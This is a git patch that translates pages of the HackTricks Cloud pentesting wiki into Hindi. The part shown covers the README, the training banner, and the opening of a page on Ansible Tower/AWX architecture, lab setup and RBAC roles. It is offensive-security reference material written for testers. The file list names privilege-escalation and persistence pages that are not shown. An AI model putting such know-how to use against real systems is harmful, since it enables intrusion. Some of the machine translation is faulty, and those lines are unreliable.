From 0077c42f9c467a55d303a763a09e851f4dd5922c Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 31 Dec 2024 20:36:01 +0000 Subject: [PATCH] Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/ --- src/README.md | 12 +- src/SUMMARY.md | 2 + src/banners/hacktricks-training.md | 16 +- ...ower-awx-automation-controller-security.md | 132 ++- .../apache-airflow-security/README.md | 136 ++- .../airflow-configuration.md | 112 +-- .../apache-airflow-security/airflow-rbac.md | 30 +- src/pentesting-ci-cd/atlantis-security.md | 280 +++--- src/pentesting-ci-cd/circleci-security.md | 308 +++--- .../cloudflare-security/README.md | 54 +- .../cloudflare-security/cloudflare-domains.md | 26 +- .../cloudflare-zero-trust-network.md | 18 +- .../concourse-security/README.md | 12 +- .../concourse-architecture.md | 26 +- .../concourse-enumeration-and-attacks.md | 280 +++--- .../concourse-lab-creation.md | 132 ++- src/pentesting-ci-cd/gitea-security/README.md | 124 ++- .../gitea-security/basic-gitea-information.md | 92 +- .../github-security/README.md | 198 ++-- .../abusing-github-actions/README.md | 568 +++++------ .../gh-actions-artifact-poisoning.md | 5 - .../gh-actions-cache-poisoning.md | 7 +- .../gh-actions-context-script-injections.md | 5 - .../accessible-deleted-data-in-github.md | 56 +- .../basic-github-information.md | 201 ++-- .../jenkins-security/README.md | 290 +++--- .../basic-jenkins-information.md | 62 +- ...itrary-file-read-to-rce-via-remember-me.md | 112 ++- .../jenkins-dumping-secrets-from-groovy.md | 78 +- ...jenkins-rce-creating-modifying-pipeline.md | 38 +- .../jenkins-rce-creating-modifying-project.md | 28 +- .../jenkins-rce-with-groovy-script.md | 38 +- src/pentesting-ci-cd/okta-security/README.md | 86 +- .../okta-security/okta-hardening.md | 126 ++- .../pentesting-ci-cd-methodology.md | 94 +- .../serverless.com-security.md | 917 +++++++----------- src/pentesting-ci-cd/supabase-security.md | 104 +- src/pentesting-ci-cd/terraform-security.md | 272 +++--- src/pentesting-ci-cd/todo.md | 8 +- .../travisci-security/README.md | 36 +- .../basic-travisci-information.md | 60 +- src/pentesting-ci-cd/vercel-security.md | 331 ++++--- src/pentesting-cloud/aws-security/README.md | 194 ++-- .../aws-basic-information/README.md | 368 ++++--- .../aws-federation-abuse.md | 156 ++- .../aws-permissions-for-a-pentest.md | 24 +- .../aws-security/aws-persistence/README.md | 7 +- .../aws-api-gateway-persistence.md | 20 +- .../aws-cognito-persistence.md | 28 +- .../aws-dynamodb-persistence.md | 54 +- .../aws-persistence/aws-ec2-persistence.md | 50 +- .../aws-persistence/aws-ecr-persistence.md | 100 +- .../aws-persistence/aws-ecs-persistence.md | 92 +- .../aws-persistence/aws-efs-persistence.md | 14 +- .../aws-elastic-beanstalk-persistence.md | 78 +- .../aws-persistence/aws-iam-persistence.md | 54 +- .../aws-persistence/aws-kms-persistence.md | 28 +- .../aws-lambda-persistence/README.md | 46 +- .../aws-abusing-lambda-extensions.md | 32 +- .../aws-lambda-layers-persistence.md | 98 +- .../aws-lightsail-persistence.md | 30 +- .../aws-persistence/aws-rds-persistence.md | 20 +- .../aws-persistence/aws-s3-persistence.md | 16 +- .../aws-secrets-manager-persistence.md | 50 +- .../aws-persistence/aws-sns-persistence.md | 114 +-- .../aws-persistence/aws-sqs-persistence.md | 42 +- .../aws-persistence/aws-ssm-perssitence.md | 5 - .../aws-step-functions-persistence.md | 10 +- .../aws-persistence/aws-sts-persistence.md | 126 ++- .../aws-post-exploitation/README.md | 7 +- .../aws-api-gateway-post-exploitation.md | 68 +- .../aws-cloudfront-post-exploitation.md | 24 +- .../aws-codebuild-post-exploitation/README.md | 46 +- .../aws-codebuild-token-leakage.md | 196 ++-- .../aws-control-tower-post-exploitation.md | 10 +- .../aws-dlm-post-exploitation.md | 152 ++- .../aws-dynamodb-post-exploitation.md | 288 +++--- .../README.md | 575 ++++++----- .../aws-ebs-snapshot-dump.md | 70 +- .../aws-malicious-vpc-mirror.md | 12 +- .../aws-ecr-post-exploitation.md | 54 +- .../aws-ecs-post-exploitation.md | 42 +- .../aws-efs-post-exploitation.md | 34 +- .../aws-eks-post-exploitation.md | 138 ++- ...aws-elastic-beanstalk-post-exploitation.md | 46 +- .../aws-iam-post-exploitation.md | 98 +- .../aws-kms-post-exploitation.md | 132 ++- .../aws-lambda-post-exploitation/README.md | 14 +- .../aws-warm-lambda-persistence.md | 54 +- .../aws-lightsail-post-exploitation.md | 20 +- .../aws-organizations-post-exploitation.md | 8 +- .../aws-rds-post-exploitation.md | 58 +- .../aws-s3-post-exploitation.md | 34 +- .../aws-secrets-manager-post-exploitation.md | 36 +- .../aws-ses-post-exploitation.md | 48 +- .../aws-sns-post-exploitation.md | 44 +- .../aws-sqs-post-exploitation.md | 50 +- ...sso-and-identitystore-post-exploitation.md | 10 +- .../aws-stepfunctions-post-exploitation.md | 40 +- .../aws-sts-post-exploitation.md | 50 +- .../aws-vpn-post-exploitation.md | 8 +- .../aws-privilege-escalation/README.md | 14 +- .../aws-apigateway-privesc.md | 52 +- .../aws-chime-privesc.md | 4 - .../aws-cloudformation-privesc/README.md | 92 +- ...stack-and-cloudformation-describestacks.md | 122 ++- .../aws-codebuild-privesc.md | 244 +++-- .../aws-codepipeline-privesc.md | 20 +- .../aws-codestar-privesc/README.md | 60 +- ...ateproject-codestar-associateteammember.md | 146 ++- .../iam-passrole-codestar-createproject.md | 104 +- .../aws-cognito-privesc.md | 272 +++--- .../aws-datapipeline-privesc.md | 84 +- .../aws-directory-services-privesc.md | 18 +- .../aws-dynamodb-privesc.md | 10 +- .../aws-ebs-privesc.md | 16 +- .../aws-ec2-privesc.md | 184 ++-- .../aws-ecr-privesc.md | 108 +-- .../aws-ecs-privesc.md | 230 ++--- .../aws-efs-privesc.md | 90 +- .../aws-elastic-beanstalk-privesc.md | 138 ++- .../aws-emr-privesc.md | 44 +- .../aws-privilege-escalation/aws-gamelift.md | 12 +- .../aws-glue-privesc.md | 48 +- .../aws-iam-privesc.md | 194 ++-- .../aws-kms-privesc.md | 124 ++- .../aws-lambda-privesc.md | 216 ++--- .../aws-lightsail-privesc.md | 110 +-- .../aws-mediapackage-privesc.md | 12 +- .../aws-mq-privesc.md | 26 +- .../aws-msk-privesc.md | 14 +- .../aws-organizations-prinvesc.md | 12 +- .../aws-rds-privesc.md | 116 +-- .../aws-redshift-privesc.md | 50 +- .../aws-s3-privesc.md | 218 ++--- .../aws-sagemaker-privesc.md | 80 +- .../aws-secrets-manager-privesc.md | 40 +- .../aws-sns-privesc.md | 24 +- .../aws-sqs-privesc.md | 24 +- .../aws-ssm-privesc.md | 74 +- .../aws-sso-and-identitystore-privesc.md | 78 +- .../aws-stepfunctions-privesc.md | 279 +++--- .../aws-sts-privesc.md | 122 +-- .../aws-workdocs-privesc.md | 26 +- .../eventbridgescheduler-privesc.md | 48 +- ...acm-pca-issuecertificate-acm-pca-getcer.md | 24 +- .../aws-security/aws-services/README.md | 18 +- .../aws-services/aws-api-gateway-enum.md | 162 ++-- ...m-and-private-certificate-authority-pca.md | 18 +- .../aws-cloudformation-and-codestar-enum.md | 22 +- .../aws-services/aws-cloudfront-enum.md | 20 +- .../aws-services/aws-cloudhsm-enum.md | 76 +- .../aws-services/aws-codebuild-enum.md | 26 +- .../aws-services/aws-cognito-enum/README.md | 36 +- .../cognito-identity-pools.md | 109 +-- .../aws-cognito-enum/cognito-user-pools.md | 432 ++++----- ...e-codepipeline-codebuild-and-codecommit.md | 38 +- .../aws-directory-services-workdocs-enum.md | 48 +- .../aws-services/aws-documentdb-enum.md | 10 +- .../aws-services/aws-dynamodb-enum.md | 96 +- .../README.md | 142 ++- .../aws-nitro-enum.md | 158 ++- ...ws-vpc-and-networking-basic-information.md | 50 +- .../aws-security/aws-services/aws-ecr-enum.md | 54 +- .../aws-security/aws-services/aws-ecs-enum.md | 44 +- .../aws-security/aws-services/aws-efs-enum.md | 88 +- .../aws-security/aws-services/aws-eks-enum.md | 22 +- .../aws-elastic-beanstalk-enum.md | 62 +- .../aws-services/aws-elasticache.md | 10 +- .../aws-security/aws-services/aws-emr-enum.md | 54 +- .../aws-security/aws-services/aws-iam-enum.md | 126 +-- .../aws-kinesis-data-firehose-enum.md | 20 +- .../aws-security/aws-services/aws-kms-enum.md | 152 ++- .../aws-services/aws-lambda-enum.md | 84 +- .../aws-services/aws-lightsail-enum.md | 24 +- .../aws-security/aws-services/aws-mq-enum.md | 30 +- .../aws-security/aws-services/aws-msk-enum.md | 26 +- .../aws-services/aws-organizations-enum.md | 24 +- .../aws-services/aws-other-services-enum.md | 14 +- .../aws-services/aws-redshift-enum.md | 38 +- .../aws-relational-database-rds-enum.md | 88 +- .../aws-services/aws-route53-enum.md | 18 +- .../aws-s3-athena-and-glacier-enum.md | 236 ++--- .../aws-services/aws-secrets-manager-enum.md | 28 +- .../README.md | 7 +- .../aws-cloudtrail-enum.md | 224 ++--- .../aws-cloudwatch-enum.md | 350 +++---- .../aws-config-enum.md | 52 +- .../aws-control-tower-enum.md | 22 +- .../aws-cost-explorer-enum.md | 14 +- .../aws-detective-enum.md | 8 +- .../aws-firewall-manager-enum.md | 202 ++-- .../aws-guardduty-enum.md | 86 +- .../aws-inspector-enum.md | 242 ++--- .../aws-macie-enum.md | 90 +- .../aws-security-hub-enum.md | 32 +- .../aws-shield-enum.md | 12 +- .../aws-trusted-advisor-enum.md | 56 +- .../aws-waf-enum.md | 366 ++++--- .../aws-security/aws-services/aws-ses-enum.md | 40 +- .../aws-security/aws-services/aws-sns-enum.md | 38 +- .../aws-services/aws-sqs-and-sns-enum.md | 20 +- .../aws-services/aws-stepfunctions-enum.md | 340 +++---- .../aws-security/aws-services/aws-sts-enum.md | 74 +- .../aws-services/eventbridgescheduler-enum.md | 40 +- .../aws-unauthenticated-enum-access/README.md | 66 +- .../aws-accounts-unauthenticated-enum.md | 18 +- .../aws-api-gateway-unauthenticated-enum.md | 32 +- .../aws-cloudfront-unauthenticated-enum.md | 8 +- .../aws-codebuild-unauthenticated-access.md | 18 +- .../aws-cognito-unauthenticated-enum.md | 36 +- .../aws-documentdb-enum.md | 8 +- .../aws-dynamodb-unauthenticated-access.md | 10 +- .../aws-ec2-unauthenticated-enum.md | 28 +- .../aws-ecr-unauthenticated-enum.md | 20 +- .../aws-ecs-unauthenticated-enum.md | 12 +- ...-elastic-beanstalk-unauthenticated-enum.md | 28 +- .../aws-elasticsearch-unauthenticated-enum.md | 8 +- .../aws-iam-and-sts-unauthenticated-enum.md | 182 ++-- ...ity-center-and-sso-unauthenticated-enum.md | 88 +- .../aws-iot-unauthenticated-enum.md | 8 +- .../aws-kinesis-video-unauthenticated-enum.md | 8 +- .../aws-lambda-unauthenticated-access.md | 18 +- .../aws-media-unauthenticated-enum.md | 8 +- .../aws-mq-unauthenticated-enum.md | 14 +- .../aws-msk-unauthenticated-enum.md | 14 +- .../aws-rds-unauthenticated-enum.md | 22 +- .../aws-redshift-unauthenticated-enum.md | 8 +- .../aws-s3-unauthenticated-enum.md | 142 ++- .../aws-sns-unauthenticated-enum.md | 12 +- .../aws-sqs-unauthenticated-enum.md | 12 +- src/pentesting-cloud/azure-security/README.md | 114 +-- .../az-basic-information/README.md | 418 ++++---- .../az-tokens-and-public-applications.md | 180 ++-- .../azure-security/az-device-registration.md | 56 +- .../azure-security/az-enumeration-tools.md | 70 +- .../az-arc-vulnerable-gpo-deploy-script.md | 46 +- .../az-local-cloud-credentials.md | 34 +- .../az-pass-the-certificate.md | 34 +- .../az-pass-the-cookie.md | 18 +- ...g-primary-refresh-token-microsoft-entra.md | 6 +- .../az-primary-refresh-token-prt.md | 6 +- .../az-processes-memory-access-token.md | 20 +- .../az-permissions-for-a-pentest.md | 6 +- .../pentesting-cloud-methodology.md | 202 ++-- 245 files changed, 9025 insertions(+), 11888 deletions(-) diff --git a/src/README.md b/src/README.md index 01b146fd1..a19c13781 100644 --- a/src/README.md +++ b/src/README.md @@ -9,23 +9,23 @@ Reading time: {{ #reading_time }} _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ > [!TIP] -> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news. +> उस पृष्ठ पर आपका स्वागत है जहाँ आप **CI/CD & Cloud** से संबंधित प्रत्येक **हैकिंग ट्रिक/तकनीक/जो भी** मैंने **CTFs**, **वास्तविक** जीवन **पर्यावरण**, **शोध**, और **शोधों और समाचारों** को पढ़कर सीखा है। ### **Pentesting CI/CD Methodology** -**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:** +**HackTricks CI/CD Methodology में आप CI/CD गतिविधियों से संबंधित बुनियादी ढांचे का pentest कैसे करें, यह पाएंगे।** एक **परिचय** के लिए निम्नलिखित पृष्ठ पढ़ें: [pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md) ### Pentesting Cloud Methodology -**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:** +**HackTricks Cloud Methodology में आप क्लाउड वातावरण का pentest कैसे करें, यह पाएंगे।** एक **परिचय** के लिए निम्नलिखित पृष्ठ पढ़ें: [pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md) ### License & Disclaimer -**Check them in:** +**इन्हें देखें:** [HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) @@ -34,7 +34,3 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co ![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) {{#include ./banners/hacktricks-training.md}} - - - - diff --git a/src/SUMMARY.md b/src/SUMMARY.md index feae5163c..1b1d60c58 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,3 +505,5 @@ + + diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b684cee3d..b9ac9450a 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,17 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> HackTricks का समर्थन करें > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें! +> - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **हैकिंग ट्रिक्स साझा करें,** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके। > >
- - - - diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index d3fbf19e5..db3cc9d9b 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -4,60 +4,59 @@ ## Basic Information -**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows. +**Ansible Tower** या इसका ओपन-सोर्स संस्करण [**AWX**](https://github.com/ansible/awx) को **Ansible का उपयोगकर्ता इंटरफ़ेस, डैशबोर्ड, और REST API** के रूप में भी जाना जाता है। **भूमिका-आधारित पहुँच नियंत्रण**, नौकरी अनुसूची, और ग्राफिकल इन्वेंटरी प्रबंधन के साथ, आप अपने Ansible बुनियादी ढांचे को एक आधुनिक UI से प्रबंधित कर सकते हैं। Tower का REST API और कमांड-लाइन इंटरफ़ेस इसे वर्तमान उपकरणों और कार्यप्रवाहों में एकीकृत करना सरल बनाता है। -**Automation Controller is a newer** version of Ansible Tower with more capabilities. +**Automation Controller Ansible Tower का एक नया** संस्करण है जिसमें अधिक क्षमताएँ हैं। ### Differences -According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows. +[**इस**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) के अनुसार, Ansible Tower और AWX के बीच मुख्य अंतर प्राप्त समर्थन और Ansible Tower की अतिरिक्त सुविधाएँ हैं जैसे भूमिका-आधारित पहुँच नियंत्रण, कस्टम APIs के लिए समर्थन, और उपयोगकर्ता-परिभाषित कार्यप्रवाह। ### Tech Stack -- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs. -- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface. -- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data. -- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners. -- **Redis**: Redis serves as a cache and a backend for the task queue. +- **Web Interface**: यह ग्राफिकल इंटरफ़ेस है जहाँ उपयोगकर्ता इन्वेंटरी, क्रेडेंशियल, टेम्पलेट, और नौकरियों का प्रबंधन कर सकते हैं। इसे सहज बनाने के लिए डिज़ाइन किया गया है और यह आपके स्वचालन कार्यों की स्थिति और परिणामों को समझने में मदद करने के लिए दृश्य प्रस्तुतियाँ प्रदान करता है। +- **REST API**: आप जो कुछ भी वेब इंटरफ़ेस में कर सकते हैं, आप REST API के माध्यम से भी कर सकते हैं। इसका मतलब है कि आप AWX/Tower को अन्य प्रणालियों के साथ एकीकृत कर सकते हैं या उन क्रियाओं को स्क्रिप्ट कर सकते हैं जो आप सामान्यतः इंटरफ़ेस में करते हैं। +- **Database**: AWX/Tower एक डेटाबेस (आमतौर पर PostgreSQL) का उपयोग करता है ताकि इसकी कॉन्फ़िगरेशन, नौकरी के परिणाम, और अन्य आवश्यक परिचालन डेटा को संग्रहीत किया जा सके। +- **RabbitMQ**: यह AWX/Tower द्वारा विभिन्न घटकों के बीच संचार के लिए उपयोग किया जाने वाला संदेश प्रणाली है, विशेष रूप से वेब सेवा और कार्य चलाने वालों के बीच। +- **Redis**: Redis एक कैश और कार्य कतार के लिए बैकएंड के रूप में कार्य करता है। ### Logical Components -- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc. -- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed.. -- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job. -- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run. -- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials. -- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events. -- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc. -- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed. +- **Inventories**: एक इन्वेंटरी एक **होस्ट (या नोड्स)** का **संग्रह** है जिसके खिलाफ **नौकरियाँ** (Ansible प्लेबुक) **चलाई जा सकती हैं**। AWX/Tower आपको अपनी इन्वेंटरी को परिभाषित और समूहित करने की अनुमति देता है और यह गतिशील इन्वेंटरी का समर्थन करता है जो **अन्य प्रणालियों** से होस्ट सूचियाँ **लैपटॉप** कर सकता है जैसे AWS, Azure, आदि। +- **Projects**: एक प्रोजेक्ट मूल रूप से एक **Ansible प्लेबुक का संग्रह** है जो एक **संस्करण नियंत्रण प्रणाली** (जैसे Git) से लिया गया है ताकि आवश्यकता पड़ने पर नवीनतम प्लेबुक को खींचा जा सके। +- **Templates**: नौकरी टेम्पलेट यह परिभाषित करते हैं कि **किस प्रकार की प्लेबुक चलाई जाएगी**, **इन्वेंटरी**, **क्रेडेंशियल**, और नौकरी के लिए अन्य **पैरामीटर** निर्दिष्ट करते हैं। +- **Credentials**: AWX/Tower एक सुरक्षित तरीके से **गोपनीयताओं का प्रबंधन और संग्रहण** करने का एक सुरक्षित तरीका प्रदान करता है, जैसे SSH कुंजी, पासवर्ड, और API टोकन। इन क्रेडेंशियल को नौकरी टेम्पलेट के साथ जोड़ा जा सकता है ताकि प्लेबुक को चलाते समय आवश्यक पहुँच मिल सके। +- **Task Engine**: यहीं जादू होता है। कार्य इंजन Ansible पर आधारित है और **प्लेबुक चलाने** के लिए जिम्मेदार है। नौकरियाँ कार्य इंजन को भेजी जाती हैं, जो निर्दिष्ट इन्वेंटरी के खिलाफ निर्दिष्ट क्रेडेंशियल का उपयोग करके Ansible प्लेबुक चलाता है। +- **Schedulers and Callbacks**: ये AWX/Tower में उन्नत सुविधाएँ हैं जो **नौकरियों को विशिष्ट समय पर चलाने** या बाहरी घटनाओं द्वारा ट्रिगर करने की अनुमति देती हैं। +- **Notifications**: AWX/Tower नौकरी की सफलता या विफलता के आधार पर सूचनाएँ भेज सकता है। यह ईमेल, स्लैक संदेश, वेबहुक आदि जैसे विभिन्न सूचनाओं के तरीकों का समर्थन करता है। +- **Ansible Playbooks**: Ansible प्लेबुक कॉन्फ़िगरेशन, तैनाती, और ऑर्केस्ट्रेशन उपकरण हैं। वे स्वचालित, दोहराने योग्य तरीके से प्रणालियों की इच्छित स्थिति का वर्णन करते हैं। YAML में लिखी गई, प्लेबुक Ansible की घोषणात्मक स्वचालन भाषा का उपयोग करके कॉन्फ़िगरेशन, कार्य, और चरणों का वर्णन करती हैं जिन्हें निष्पादित करने की आवश्यकता होती है। ### Job Execution Flow -1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower. +1. **User Interaction**: एक उपयोगकर्ता AWX/Tower के साथ **Web Interface** या **REST API** के माध्यम से इंटरैक्ट कर सकता है। ये AWX/Tower द्वारा प्रदान की गई सभी कार्यक्षमताओं के लिए फ्रंट-एंड पहुँच प्रदान करते हैं। 2. **Job Initiation**: - - The user, via the Web Interface or API, initiates a job based on a **Job Template**. - - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**. - - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution. +- उपयोगकर्ता, वेब इंटरफ़ेस या API के माध्यम से, एक **Job Template** के आधार पर नौकरी शुरू करता है। +- नौकरी टेम्पलेट में **Inventory**, **Project** (प्लेबुक शामिल) और **Credentials** के संदर्भ शामिल होते हैं। +- नौकरी शुरू करने पर, निष्पादन के लिए नौकरी को कतार में डालने के लिए AWX/Tower बैकएंड को एक अनुरोध भेजा जाता है। 3. **Job Queuing**: - - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ. - - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution. +- **RabbitMQ** वेब घटक और कार्य चलाने वालों के बीच संदेशों को संभालता है। एक बार जब नौकरी शुरू होती है, तो RabbitMQ का उपयोग करके कार्य इंजन को एक संदेश भेजा जाता है। +- **Redis** कार्य कतार के लिए बैकएंड के रूप में कार्य करता है, जो निष्पादन की प्रतीक्षा कर रहे कतारबद्ध नौकरियों का प्रबंधन करता है। 4. **Job Execution**: - - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials. - - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**. - - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**. +- **Task Engine** कतारबद्ध नौकरी को उठाता है। यह नौकरी से संबंधित प्लेबुक, इन्वेंटरी, और क्रेडेंशियल के बारे में आवश्यक जानकारी **Database** से प्राप्त करता है। +- संबंधित **Project** से प्राप्त Ansible प्लेबुक का उपयोग करते हुए, कार्य इंजन निर्दिष्ट **Inventory** नोड्स के खिलाफ प्लेबुक चलाता है, प्रदान किए गए **Credentials** का उपयोग करते हुए। +- जैसे-जैसे प्लेबुक चलती है, इसका निष्पादन आउटपुट (लॉग, तथ्य, आदि) कैप्चर किया जाता है और **Database** में संग्रहीत किया जाता है। 5. **Job Results**: - - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**. - - Users can then view the results through the Web Interface or query them via the REST API. - - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc. +- एक बार जब प्लेबुक चलना समाप्त हो जाता है, तो परिणाम (सफलता, विफलता, लॉग) **Database** में सहेजे जाते हैं। +- उपयोगकर्ता फिर वेब इंटरफ़ेस के माध्यम से परिणाम देख सकते हैं या REST API के माध्यम से उन्हें क्वेरी कर सकते हैं। +- नौकरी के परिणामों के आधार पर, **Notifications** उपयोगकर्ताओं या बाहरी प्रणालियों को नौकरी की स्थिति के बारे में सूचित करने के लिए भेजी जा सकती हैं। सूचनाएँ ईमेल, स्लैक संदेश, वेबहुक आदि हो सकती हैं। 6. **External Systems Integration**: - - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more. - - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution. - - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times. +- **Inventories** को बाहरी प्रणालियों से गतिशील रूप से लिया जा सकता है, जिससे AWX/Tower को AWS, Azure, VMware, और अधिक जैसे स्रोतों से होस्ट खींचने की अनुमति मिलती है। +- **Projects** (प्लेबुक) को संस्करण नियंत्रण प्रणालियों से खींचा जा सकता है, यह सुनिश्चित करते हुए कि नौकरी निष्पादन के दौरान अद्यतन प्लेबुक का उपयोग किया जाए। +- **Schedulers and Callbacks** का उपयोग अन्य प्रणालियों या उपकरणों के साथ एकीकृत करने के लिए किया जा सकता है, जिससे AWX/Tower बाहरी ट्रिगर्स पर प्रतिक्रिया कर सके या पूर्व निर्धारित समय पर नौकरियाँ चला सके। ### AWX lab creation for testing -[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX: - +[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) यह संभव है कि docker-compose का उपयोग करके AWX चलाया जा सके: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser # Load demo data docker exec tools_awx_1 awx-manage create_preload_data ``` - ## RBAC ### Supported roles -The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**. +सबसे अधिक विशेषाधिकार प्राप्त भूमिका को **System Administrator** कहा जाता है। इस भूमिका वाले कोई भी **कुछ भी संशोधित कर सकता है**। -From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one. +एक **white box security** समीक्षा के लिए, आपको **System Auditor role** की आवश्यकता होगी, जो **सभी सिस्टम डेटा को देखने** की अनुमति देती है लेकिन कोई परिवर्तन नहीं कर सकती। एक और विकल्प **Organization Auditor role** प्राप्त करना होगा, लेकिन पहले वाला बेहतर होगा।
